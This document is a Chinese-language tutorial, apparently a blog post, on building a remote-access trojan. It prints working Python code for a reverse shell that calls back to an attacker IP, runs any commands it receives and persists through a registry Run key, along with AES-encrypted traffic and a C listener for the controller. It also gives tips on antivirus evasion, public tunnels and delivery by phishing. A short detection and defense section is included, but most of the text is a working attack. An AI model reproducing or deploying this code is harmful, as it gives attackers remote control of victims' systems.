一、木马的核心架构设计

在进行远控木马开发前,我们需要清楚地定义其架构。一个高质量的远控木马不仅仅是能够执行远程控制功能,还需要具备隐蔽性、可扩展性和稳定性。

黑客示意图

架构核心模块

  1. 通信模块:用于与控制端进行数据交换,通常基于 HTTP、WebSocket 或自定义加密协议。
  2. 控制模块:负责接收指令并执行,如键盘记录、屏幕捕获、文件操作等。
  3. 免杀模块:通过混淆、内存加载等技术,绕过杀毒软件和 EDR。
  4. 持久化模块:保证木马在目标系统重启后依旧存活。

系统设计思路

我们的目标是设计一个轻量级、高隐蔽的木马,能够进行基本的远程控制操作。这里我们选择使用 Python 作为开发语言进行快速原型开发,同时使用 C 语言创建主控端,以提升性能。

以下是木马的系统架构:

<pre><code>+--------------------------------------+ | 控制端 | | - 指令输入 | | - 数据接收 | +--------------------------------------+

⇔ 加密通信(AES/TLS) ⇔

+--------------------------------------+ | 目标端 | | - 木马核心 | | - 持久化 | | - 文件操作、屏幕捕获等功能 | +--------------------------------------+</code></pre>

该架构可以进一步结合 C2(Command and Control Server)基础设施,将木马上报的数据存储在控制端的数据库中。

---

二、搭建远控测试环境

在攻击过程中,环境搭建非常关键。如果环境错误,可能导致木马功能无法测试。以下是详细步骤:

环境要求

  1. 虚拟机:建议使用 VMware 或 VirtualBox,安装 Windows 10 进行模拟测试。
  2. Python版本:建议使用 Python 3.9 以上,因其兼容性强,且支持较多现代库。
  3. 工具准备
  • Wireshark:用于捕获木马通信流量。
  • PyInstaller:用于打包 Python 脚本。
  • Visual Studio:用于编写 C 语言主控端代码。

网络模拟

为了模拟真实攻击环境,我们可以搭建一个局域网环境:

  • 设置攻击机(控制端)与受害机(目标端)在同一网段。
  • 配置一个代理服务器(如 Nginx),用于流量转发,模拟 C2 的功能。

此外,为了规避直接暴露 IP,我们可以使用 ngrokfrp 创建公网隧道,将目标端通信流量转发到攻击机。

---

三、核心功能开发:目标端木马实现

Python木马的基础实现

以下是一个简单的远控木马代码,具备基础的反向连接与指令执行功能:

<pre><code class="language-python">import socket import os import subprocess

配置控制端地址

HOST = &quot;192.168.1.100&quot; # 攻击机IP PORT = 4444 # 攻击机监听端口

创建反向连接

def connect_back(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((HOST, PORT)) while True:

接收命令

command = s.recv(1024).decode(&quot;utf-8&quot;) if command.lower() == &quot;exit&quot;: break try:

执行命令并返回结果

result = subprocess.check_output(command, shell=True) s.send(result) except Exception as e: s.send(str(e).encode(&quot;utf-8&quot;)) except Exception as e: print(f&quot;连接失败:{e}&quot;) finally: s.close()

持久化(注册表写入)

def persist():

注意:此代码在测试时仅运行于虚拟机,避免污染真实系统

startup_key = r&quot;Software\Microsoft\Windows\CurrentVersion\Run&quot; reg_command = f&#039;reg add &quot;{startup_key}&quot; /v &quot;MyMalware&quot; /t REG_SZ /d &quot;{os.getcwd()}\\malware.exe&quot; /f&#039; subprocess.call(reg_command, shell=True)

if __name__ == &quot;__main__&quot;:

持久化木马

persist()

建立反向连接

connect_back()</code></pre>

代码解析

  • 反向连接:目标端主动连接控制端,这样可以绕过防火墙出站规则。
  • 指令执行:通过 subprocess 模块执行控制端发送的命令,并将结果返回。
  • 持久化:将木马添加到注册表的启动项中,保证每次系统启动时自动运行。

---

四、通信加密与免杀技术

加密通信

简单的明文通信很容易被流量分析工具检测。以下是使用 AES 加密指令内容的改进版本:

<pre><code class="language-python">from Crypto.Cipher import AES import base64

加密密钥(必须与控制端匹配)

KEY = b&quot;abcdefghijklmnop&quot; # 16字节密钥

黑客示意图

def encrypt(data): cipher = AES.new(KEY, AES.MODE_ECB) padded_data = data + (16 - len(data) % 16) * chr(16 - len(data) % 16) encrypted = cipher.encrypt(padded_data.encode(&quot;utf-8&quot;)) return base64.b64encode(encrypted)

def decrypt(encrypted_data): cipher = AES.new(KEY, AES.MODE_ECB) raw_data = base64.b64decode(encrypted_data) decrypted = cipher.decrypt(raw_data).decode(&quot;utf-8&quot;) return decrypted.rstrip(chr(decrypted[-1]))</code></pre>

此代码在指令传输前进行加密,保证流量隐蔽性。

免杀技巧

  1. 代码混淆:使用工具如 pyarmor 对 Python 代码进行加密混淆。
  2. 内存加载:将木马加载至内存,避免落地文件被杀毒软件扫描。
  3. 签名伪造:使用合法软件的数字签名,提升可信度。

---

五、主控端实现与演示

C语言主控端示例

以下是一个简单的控制端代码,负责接收目标端的反向连接,并发送指令。

<pre><code class="language-c">#include &lt;stdio.h&gt;

include &lt;stdlib.h&gt;

include &lt;string.h&gt;

include &lt;winsock2.h&gt;

pragma comment(lib, &quot;ws2_32.lib&quot;)

define PORT 4444

void handle_connection(SOCKET client) { char buffer[1024]; while (1) { printf(&quot;请输入指令: &quot;); fgets(buffer, 1024, stdin); send(client, buffer, strlen(buffer), 0);

if (strncmp(buffer, &quot;exit&quot;, 4) == 0) { break; }

memset(buffer, 0, sizeof(buffer)); recv(client, buffer, 1024, 0); printf(&quot;目标返回: %s\n&quot;, buffer); } }

int main() { WSADATA wsa; SOCKET server, client; struct sockaddr_in server_addr, client_addr; int client_size;

WSAStartup(MAKEWORD(2, 2), &amp;wsa); server = socket(AF_INET, SOCK_STREAM, 0);

server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(PORT);

bind(server, (struct sockaddr*)&amp;server_addr, sizeof(server_addr)); listen(server, 5);

printf(&quot;等待连接...\n&quot;); client_size = sizeof(client_addr); client = accept(server, (struct sockaddr*)&amp;client_addr, &amp;client_size); printf(&quot;连接成功!\n&quot;);

handle_connection(client);

closesocket(client); closesocket(server); WSACleanup(); return 0; }</code></pre>

演示流程

  1. 启动控制端,监听端口。
  2. 在目标端运行木马,连接到控制端。
  3. 在控制端输入指令,观察目标端的执行结果。

---

六、检测与防御

作为安全研究人员,我们还需探讨如何检测与防御远控木马。

检测方法

  1. 流量分析:使用 Wireshark 捕获异常的出站流量,如反向连接通信。
  2. 行为监控:通过 EDR 检测注册表修改和异常进程行为。
  3. 文件扫描:利用杀毒软件扫描落地文件。

防御建议

  1. 禁止高危端口(如 4444)的出站流量。
  2. 配置终端安全工具,实时监测内存中的可疑行为。
  3. 定期检查启动项和注册表,发现异常条目及时清除。

黑客示意图

---

七、红队经验分享

开发远控木马时,一定要注重隐蔽性和稳定性。以下是一些实战经验:

  • 分层设计:将木马功能模块化,便于后续扩展。
  • 动态加载:避免一次性加载所有功能,降低被检测风险。
  • 多协议支持:除了 TCP,还可以尝试基于 DNS、HTTP 的 C2 通信。

最终,木马只是远控攻击的一环,如何结合社工钓鱼等手段植入目标系统,才是红队行动的重点。